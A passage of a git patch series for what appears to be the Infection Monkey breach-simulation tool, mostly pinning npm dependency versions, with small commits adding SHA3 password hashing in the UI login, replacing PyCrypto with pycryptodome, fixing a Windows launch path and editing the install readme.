"is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-extglob": { @@ -16930,7 +16937,7 @@ "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", "dev": true, "requires": { - "is-extglob": "^2.1.1" + "is-extglob": "2.1.1" } }, "is-number": { @@ -16939,7 +16946,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -16948,7 +16955,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -16971,19 +16978,19 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" } }, "nan": { @@ -17001,7 +17008,7 @@ "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", "dev": true, "requires": { - "minimalistic-assert": "^1.0.0" + "minimalistic-assert": "1.0.1" } }, "webpack": { @@ -17014,26 +17021,26 @@ "@webassemblyjs/helper-module-context": "1.7.8", "@webassemblyjs/wasm-edit": "1.7.8", "@webassemblyjs/wasm-parser": "1.7.8", - "acorn": "^5.6.2", - "acorn-dynamic-import": "^3.0.0", - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0", - "chrome-trace-event": "^1.0.0", - "enhanced-resolve": "^4.1.0", - "eslint-scope": "^4.0.0", - "json-parse-better-errors": "^1.0.2", - "loader-runner": "^2.3.0", - "loader-utils": "^1.1.0", - "memory-fs": "~0.4.1", - "micromatch": "^3.1.8", - "mkdirp": "~0.5.0", - "neo-async": "^2.5.0", - "node-libs-browser": "^2.0.0", - "schema-utils": "^0.4.4", - "tapable": "^1.1.0", - "uglifyjs-webpack-plugin": "^1.2.4", - "watchpack": "^1.5.0", - "webpack-sources": "^1.3.0" + "acorn": "5.7.3", + "acorn-dynamic-import": "3.0.0", + "ajv": "6.5.2", + "ajv-keywords": "3.2.0", + "chrome-trace-event": "1.0.0", + "enhanced-resolve": "4.1.0", + "eslint-scope": "4.0.0", + "json-parse-better-errors": "1.0.2", + "loader-runner": "2.3.1", + "loader-utils": "1.1.0", + "memory-fs": "0.4.1", + "micromatch": "3.1.10", + "mkdirp": "0.5.1", + "neo-async": "2.5.2", + "node-libs-browser": "2.1.0", + "schema-utils": "0.4.7", + "tapable": "1.1.0", + "uglifyjs-webpack-plugin": "1.3.0", + "watchpack": "1.6.0", + "webpack-sources": "1.3.0" }, "dependencies": { "arr-diff": { @@ -17345,16 +17352,16 @@ "integrity": "sha512-Cnqo7CeqeSvC6PTdts+dywNi5CRlIPbLx1AoUPK2T6vC1YAugMG3IOoO9DmEscd+Dghw7uRlnzV1KwOe5IrtgQ==", "dev": true, "requires": { - "chalk": "^2.4.1", - "cross-spawn": "^6.0.5", - "enhanced-resolve": "^4.1.0", - "global-modules-path": "^2.3.0", - "import-local": "^2.0.0", - "interpret": "^1.1.0", - "loader-utils": "^1.1.0", - "supports-color": "^5.5.0", - "v8-compile-cache": "^2.0.2", - "yargs": "^12.0.2" + "chalk": "2.4.1", + "cross-spawn": "6.0.5", + "enhanced-resolve": "4.1.0", + "global-modules-path": "2.3.0", + "import-local": "2.0.0", + "interpret": "1.1.0", + "loader-utils": "1.1.0", + "supports-color": "5.5.0", + "v8-compile-cache": "2.0.2", + "yargs": "12.0.2" }, "dependencies": { "ansi-regex": { @@ -17428,13 +17435,13 @@ "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", "dev": true, "requires": { - "cross-spawn": "^6.0.0", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" + "cross-spawn": "6.0.5", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" } }, "find-up": { @@ -17464,7 +17471,7 @@ "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", "dev": true, "requires": { - "invert-kv": "^2.0.0" + "invert-kv": "2.0.0" } }, "loader-utils": { @@ -17494,9 +17501,9 @@ "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==", "dev": true, "requires": { - "map-age-cleaner": "^0.1.1", - "mimic-fn": "^1.0.0", - "p-is-promise": "^1.1.0" + "map-age-cleaner": "0.1.2", + "mimic-fn": "1.2.0", + "p-is-promise": "1.1.0" } }, "os-locale": { @@ -17505,9 +17512,9 @@ "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==", "dev": true, "requires": { - "execa": "^0.10.0", - "lcid": "^2.0.0", - "mem": "^4.0.0" + "execa": "0.10.0", + "lcid": "2.0.0", + "mem": "4.0.0" } }, "p-limit": { @@ -17561,7 +17568,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } }, "yargs": { @@ -17570,18 +17577,18 @@ "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==", "dev": true, "requires": { - "cliui": "^4.0.0", - "decamelize": "^2.0.0", - "find-up": "^3.0.0", - "get-caller-file": "^1.0.1", - "os-locale": "^3.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1 || ^4.0.0", - "yargs-parser": "^10.1.0" + "cliui": "4.1.0", + "decamelize": "2.0.0", + "find-up": "3.0.0", + "get-caller-file": "1.0.3", + "os-locale": "3.0.1", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "10.1.0" } }, "yargs-parser": { @@ -17597,17 +17604,17 @@ }, "webpack-dev-middleware": { "version": "2.0.6", - "resolved": "http://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-2.0.6.tgz", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-2.0.6.tgz", "integrity": "sha512-tj5LLD9r4tDuRIDa5Mu9lnY2qBBehAITv6A9irqXhw/HQquZgTx3BCd57zYbU2gMDnncA49ufK2qVQSbaKJwOw==", "dev": true, "requires": { - "loud-rejection": "^1.6.0", - "memory-fs": "~0.4.1", - "mime": "^2.1.0", - "path-is-absolute": "^1.0.0", - "range-parser": "^1.0.3", - "url-join": "^2.0.2", - "webpack-log": "^1.0.1" + "loud-rejection": "1.6.0", + "memory-fs": "0.4.1", + "mime": "2.3.1", + "path-is-absolute": "1.0.1", + "range-parser": "1.2.0", + "url-join": "2.0.5", + "webpack-log": "1.2.0" } }, "webpack-dev-server": { @@ -17617,32 +17624,32 @@ "dev": true, "requires": { "ansi-html": "0.0.7", - "bonjour": "^3.5.0", - "chokidar": "^2.0.0", - "compression": "^1.5.2", - "connect-history-api-fallback": "^1.3.0", - "debug": "^3.1.0", - "del": "^3.0.0", - "express": "^4.16.2", - "html-entities": "^1.2.0", - "http-proxy-middleware": "~0.18.0", - "import-local": "^2.0.0", - "internal-ip": "^3.0.1", - "ip": "^1.1.5", - "killable": "^1.0.0", - "loglevel": "^1.4.1", - "opn": "^5.1.0", - "portfinder": "^1.0.9", - "schema-utils": "^1.0.0", - "selfsigned": "^1.9.1", - "serve-index": "^1.7.2", + "bonjour": "3.5.0", + "chokidar": "2.0.4", + "compression": "1.7.3", + "connect-history-api-fallback": "1.5.0", + "debug": "3.2.6", + "del": "3.0.0", + "express": "4.16.3", + "html-entities": "1.2.1", + "http-proxy-middleware": "0.18.0", + "import-local": "2.0.0", + "internal-ip": "3.0.1", + "ip": "1.1.5", + "killable": "1.0.1", + "loglevel": "1.6.1", + "opn": "5.4.0", + "portfinder": "1.0.17", + "schema-utils": "1.0.0", + "selfsigned": "1.10.4", + "serve-index": "1.9.1", "sockjs": "0.3.19", "sockjs-client": "1.1.5", - "spdy": "^3.4.1", - "strip-ansi": "^3.0.0", - "supports-color": "^5.1.0", + "spdy": "3.4.7", + "strip-ansi": "3.0.1", + "supports-color": "5.5.0", "webpack-dev-middleware": "3.4.0", - "webpack-log": "^2.0.0", + "webpack-log": "2.0.0", "yargs": "12.0.2" }, "dependencies": { @@ -17758,11 +17765,11 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "nice-try": "1.0.5", + "path-key": "2.0.1", + "semver": "5.5.1", + "shebang-command": "1.2.0", + "which": "1.3.0" } }, "debug": { @@ -17771,7 +17778,7 @@ "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.1" }, "dependencies": { "ms": { @@ -17811,13 +17818,13 @@ "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", "dev": true, "requires": { - "cross-spawn": "^6.0.0", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" + "cross-spawn": "6.0.5", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" } }, "expand-brackets": { @@ -17986,7 +17993,7 @@ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "^3.0.0" + "locate-path": "3.0.0" } }, "fsevents": { @@ -17994,10 +18001,9 @@ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", "dev": true, - "optional": true, "requires": { - "nan": "^2.9.2", - "node-pre-gyp": "^0.10.0" + "nan": "2.11.1", + "node-pre-gyp": "0.10.0" }, "dependencies": { "abbrev": { @@ -18229,9 +18235,8 @@ "version": "1.1.0", "bundled": true, "dev": true, - "optional": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.2.4" } }, "mkdirp": { @@ -18263,18 +18268,17 @@ "version": "0.10.0", "bundled": true, "dev": true, - "optional": true, "requires": { - "detect-libc": "^1.0.2", - "mkdirp": "^0.5.1", - "needle": "^2.2.0", - "nopt": "^4.0.1", - "npm-packlist": "^1.1.6", - "npmlog": "^4.0.2", - "rc": "^1.1.7", - "rimraf": "^2.6.1", - "semver": "^5.3.0", - "tar": "^4" + "detect-libc": "1.0.3", + "mkdirp": "0.5.1", + "needle": "2.2.0", + "nopt": "4.0.1", + "npm-packlist": "1.1.10", + "npmlog": "4.1.2", + "rc": "1.2.7", + "rimraf": "2.6.2", + "semver": "5.5.0", + "tar": "4.4.1" } }, "nopt": { @@ -18484,15 +18488,14 @@ "version": "4.4.1", "bundled": true, "dev": true, - "optional": true, "requires": { - "chownr": "^1.0.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.2.4", - "minizlib": "^1.1.0", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.1", - "yallist": "^3.0.2" + "chownr": "1.0.1", + "fs-minipass": "1.2.5", + "minipass": "2.2.4", + "minizlib": "1.1.0", + "mkdirp": "0.5.1", + "safe-buffer": "5.1.1", + "yallist": "3.0.2" } }, "util-deprecate": { @@ -18658,7 +18661,7 @@ "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", "dev": true, "requires": { - "invert-kv": "^2.0.0" + "invert-kv": "2.0.0" } }, "locate-path": { @@ -18667,8 +18670,8 @@ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", "dev": true, "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" + "p-locate": "3.0.0", + "path-exists": "3.0.0" } }, "mem": { @@ -18677,9 +18680,9 @@ "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==", "dev": true, "requires": { - "map-age-cleaner": "^0.1.1", - "mimic-fn": "^1.0.0", - "p-is-promise": "^1.1.0" + "map-age-cleaner": "0.1.2", + "mimic-fn": "1.2.0", + "p-is-promise": "1.1.0" } }, "micromatch": { @@ -18707,8 +18710,7 @@ "version": "2.11.1", "resolved": "https://registry.npmjs.org/nan/-/nan-2.11.1.tgz", "integrity": "sha512-iji6k87OSXa0CcrLl9z+ZiYSuR2o+c0bGuNmXdrhTQTakxytAFsC56SArGYoiHlJlFoHSnvmhpceZJaXkVuOtA==", - "dev": true, - "optional": true + "dev": true }, "os-locale": { "version": "3.0.1", @@ -18716,9 +18718,9 @@ "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==", "dev": true, "requires": { - "execa": "^0.10.0", - "lcid": "^2.0.0", - "mem": "^4.0.0" + "execa": "0.10.0", + "lcid": "2.0.0", + "mem": "4.0.0" } }, "p-limit": { @@ -18727,7 +18729,7 @@ "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", "dev": true, "requires": { - "p-try": "^2.0.0" + "p-try": "2.0.0" } }, "p-locate": { @@ -18736,7 +18738,7 @@ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", "dev": true, "requires": { - "p-limit": "^2.0.0" + "p-limit": "2.0.0" } }, "p-try": { @@ -18763,9 +18765,9 @@ "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", "dev": true, "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" + "ajv": "6.5.2", + "ajv-errors": "1.0.0", + "ajv-keywords": "3.2.0" } }, "semver": { @@ -18780,7 +18782,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } }, "uuid": { @@ -18795,10 +18797,10 @@ "integrity": "sha512-Q9Iyc0X9dP9bAsYskAVJ/hmIZZQwf/3Sy4xCAZgL5cUkjZmUZLt4l5HpbST/Pdgjn3u6pE7u5OdGd1apgzRujA==", "dev": true, "requires": { - "memory-fs": "~0.4.1", - "mime": "^2.3.1", - "range-parser": "^1.0.3", - "webpack-log": "^2.0.0" + "memory-fs": "0.4.1", + "mime": "2.3.1", + "range-parser": "1.2.0", + "webpack-log": "2.0.0" } }, "webpack-log": { @@ -18807,8 +18809,8 @@ "integrity": "sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==", "dev": true, "requires": { - "ansi-colors": "^3.0.0", - "uuid": "^3.3.2" + "ansi-colors": "3.1.0", + "uuid": "3.3.2" } }, "yargs": { @@ -18817,18 +18819,18 @@ "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==", "dev": true, "requires": { - "cliui": "^4.0.0", - "decamelize": "^2.0.0", - "find-up": "^3.0.0", - "get-caller-file": "^1.0.1", - "os-locale": "^3.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1 || ^4.0.0", - "yargs-parser": "^10.1.0" + "cliui": "4.1.0", + "decamelize": "2.0.0", + "find-up": "3.0.0", + "get-caller-file": "1.0.3", + "os-locale": "3.0.1", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "10.1.0" } }, "yargs-parser": { @@ -18837,7 +18839,7 @@ "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==", "dev": true, "requires": { - "camelcase": "^4.1.0" + "camelcase": "4.1.0" } } } @@ -18848,10 +18850,10 @@ "integrity": "sha512-U9AnICnu50HXtiqiDxuli5gLB5PGBo7VvcHx36jRZHwK4vzOYLbImqT4lwWwoMHdQWwEKw736fCHEekokTEKHA==", "dev": true, "requires": { - "chalk": "^2.1.0", - "log-symbols": "^2.1.0", - "loglevelnext": "^1.0.1", - "uuid": "^3.1.0" + "chalk": "2.4.1", + "log-symbols": "2.2.0", + "loglevelnext": "1.0.5", + "uuid": "3.2.1" }, "dependencies": { "ansi-styles": { @@ -18860,7 +18862,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -18869,9 +18871,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "has-flag": { @@ -18886,7 +18888,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } @@ -18897,8 +18899,8 @@ "integrity": "sha512-OiVgSrbGu7NEnEvQJJgdSFPl2qWKkWq5lHMhgiToIiN9w34EBnjYzSYs+VbL5KoYiLNtFFa7BZIKxRED3I32pA==", "dev": true, "requires": { - "source-list-map": "^2.0.0", - "source-map": "~0.6.1" + "source-list-map": "2.0.0", + "source-map": "0.6.1" }, "dependencies": { "source-map": { @@ -18915,8 +18917,8 @@ "integrity": "sha1-DK+dLXVdk67gSdS90NP+LMoqJOs=", "dev": true, "requires": { - "http-parser-js": ">=0.4.0", - "websocket-extensions": ">=0.1.1" + "http-parser-js": "0.4.13", + "websocket-extensions": "0.1.3" } }, "websocket-extensions": { @@ -18928,10 +18930,10 @@ "which": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz", - "integrity": "sha512-xcJpopdamTuY5duC/KnTTNBraPK54YwpenP4lzxU8H91GudWpFv38u0CKjclE1Wi2EH2EDz5LRcHcKbCIzqGyg==", + "integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=", "dev": true, "requires": { - "isexe": "^2.0.0" + "isexe": "2.0.0" } }, "which-module": { @@ -18959,17 +18961,17 @@ "integrity": "sha512-6w+3tHbM87WnSWnENBUvA2pxJPLhQUg5LKwUQHq3r+XPhIM+Gh2R5ycbwPCyuGbNg+lPgdcnQUhuC02kJCvffQ==", "dev": true, "requires": { - "errno": "~0.1.7" + "errno": "0.1.7" } }, "wrap-ansi": { "version": "2.1.0", - "resolved": "http://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", "dev": true, "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" + "string-width": "1.0.2", + "strip-ansi": "3.0.1" }, "dependencies": { "is-fullwidth-code-point": { @@ -18978,7 +18980,7 @@ "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", "dev": true, "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "string-width": { @@ -18987,9 +18989,9 @@ "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", "dev": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } } } @@ -19006,7 +19008,7 @@ "integrity": "sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=", "dev": true, "requires": { - "mkdirp": "^0.5.1" + "mkdirp": "0.5.1" } }, "ws": { @@ -19015,9 +19017,9 @@ "integrity": "sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==", "dev": true, "requires": { - "async-limiter": "~1.0.0", - "safe-buffer": "~5.1.0", - "ultron": "~1.1.0" + "async-limiter": "1.0.0", + "safe-buffer": "5.1.1", + "ultron": "1.1.1" } }, "xmlhttprequest-ssl": { @@ -19057,9 +19059,9 @@ "dev": true, "optional": true, "requires": { - "camelcase": "^1.0.2", - "cliui": "^2.1.0", - "decamelize": "^1.0.0", + "camelcase": "1.2.1", + "cliui": "2.1.0", + "decamelize": "1.2.0", "window-size": "0.1.0" } }, @@ -19069,7 +19071,7 @@ "integrity": "sha1-nM9qQ0YP5O1Aqbto9I1DuKaMwHc=", "dev": true, "requires": { - "camelcase": "^4.1.0" + "camelcase": "4.1.0" }, "dependencies": { "camelcase": { @@ -19086,7 +19088,7 @@ "integrity": "sha1-lSj0QtqxsihOWLQ3m7GU4i4MQAU=", "dev": true, "requires": { - "fd-slicer": "~1.0.1" + "fd-slicer": "1.0.1" } }, "yeast": { diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 4584e6cfa..cc1155ad3 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -90,6 +90,7 @@ "react-router-dom": "^4.3.1", "react-table": "^6.8.6", "react-toggle": "^4.0.1", - "redux": "^4.0.0" + "redux": "^4.0.0", + "sha3": "^2.0.0" } } diff --git a/monkey/monkey_island/cc/ui/src/server_config/PasswordConfig.js b/monkey/monkey_island/cc/ui/src/server_config/PasswordConfig.js new file mode 100644 index 000000000..359b21bfb --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/server_config/PasswordConfig.js @@ -0,0 +1,9 @@ +import BaseConfig from './BaseConfig'; + +class PasswordConfig extends BaseConfig{ + isAuthEnabled() { + return true; + } +} + +export default PasswordConfig; diff --git a/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js b/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js index a291bd6e6..c71cc4d94 100644 --- a/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js +++ b/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js @@ -1,12 +1,14 @@ import StandardConfig from './StandardConfig'; import AwsConfig from './AwsConfig'; +import PasswordConfig from "./PasswordConfig"; const SERVER_CONFIG_JSON = require('../../../server_config.json'); const CONFIG_DICT = { 'standard': StandardConfig, - 'aws': AwsConfig + 'aws': AwsConfig, + 'password': PasswordConfig }; export const SERVER_CONFIG = new CONFIG_DICT[SERVER_CONFIG_JSON['server_config']](); diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index c5a474ebf..703a96559 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -1,3 +1,4 @@ +import { SHA3 } from 'sha3'; import decode from 'jwt-decode'; import {SERVER_CONFIG} from '../server_config/ServerConfig'; @@ -6,7 +7,7 @@ export default class AuthService { login = (username, password) => { if (this.AUTH_ENABLED) { - return this._login(username, password); + return this._login(username, this.hashSha3(password)); } else { return {result: true}; } @@ -20,6 +21,12 @@ export default class AuthService { } }; + hashSha3(text) { + let hash = new SHA3(512); + hash.update(text); + return this._toHexStr(hash.digest()); + } + _login = (username, password) => { return this._authFetch('/api/auth', { method: 'POST', @@ -103,4 +110,9 @@ export default class AuthService { return localStorage.getItem('jwt') } + _toHexStr(byteArr) { + return byteArr.reduce((acc, x) => (acc + ('0' + x.toString(0x10)).slice(-2)), ''); + } + + } diff --git a/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt index 3691ca490..4f6ea54ec 100644 --- a/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt +++ b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt @@ -13,7 +13,7 @@ jsonschema netifaces ipaddress enum34 -PyCrypto +pycryptodome boto3 awscli virtualenv \ No newline at end of file diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 858642d19..b8df0f5a9 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -13,6 +13,6 @@ jsonschema netifaces ipaddress enum34 -PyCrypto +pycryptodome boto3 awscli \ No newline at end of file From 2f45280f7127ba9278fb605ceb9fd4c84f9a7da7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 10 Feb 2019 18:21:59 +0200 Subject: [PATCH 135/201] Change path of python to be where python is actually in --- monkey/monkey_island/windows/run_cc.bat | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/windows/run_cc.bat b/monkey/monkey_island/windows/run_cc.bat index e86b5a145..f674376a1 100644 --- a/monkey/monkey_island/windows/run_cc.bat +++ b/monkey/monkey_island/windows/run_cc.bat @@ -1,4 +1,4 @@ @title C^&C Server @pushd .. -@monkey_island\bin\Python27\python monkey_island.py +@monkey_island\bin\Python27\Scripts\python monkey_island.py @popd \ No newline at end of file From 85e4646c427025d008c27e02d02759ff828bef3e Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 11 Feb 2019 11:01:31 +0200 Subject: [PATCH 136/201] Update readme --- monkey/monkey_island/readme.txt | 48 +++++++++++++-------------------- 1 file changed, 19 insertions(+), 29 deletions(-) diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt index 64cefcd36..344e6b736 100644 --- a/monkey/monkey_island/readme.txt +++ b/monkey/monkey_island/readme.txt @@ -6,26 +6,23 @@ How to set up the Monkey Island server: ---------------- On Windows ----------------: 0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or 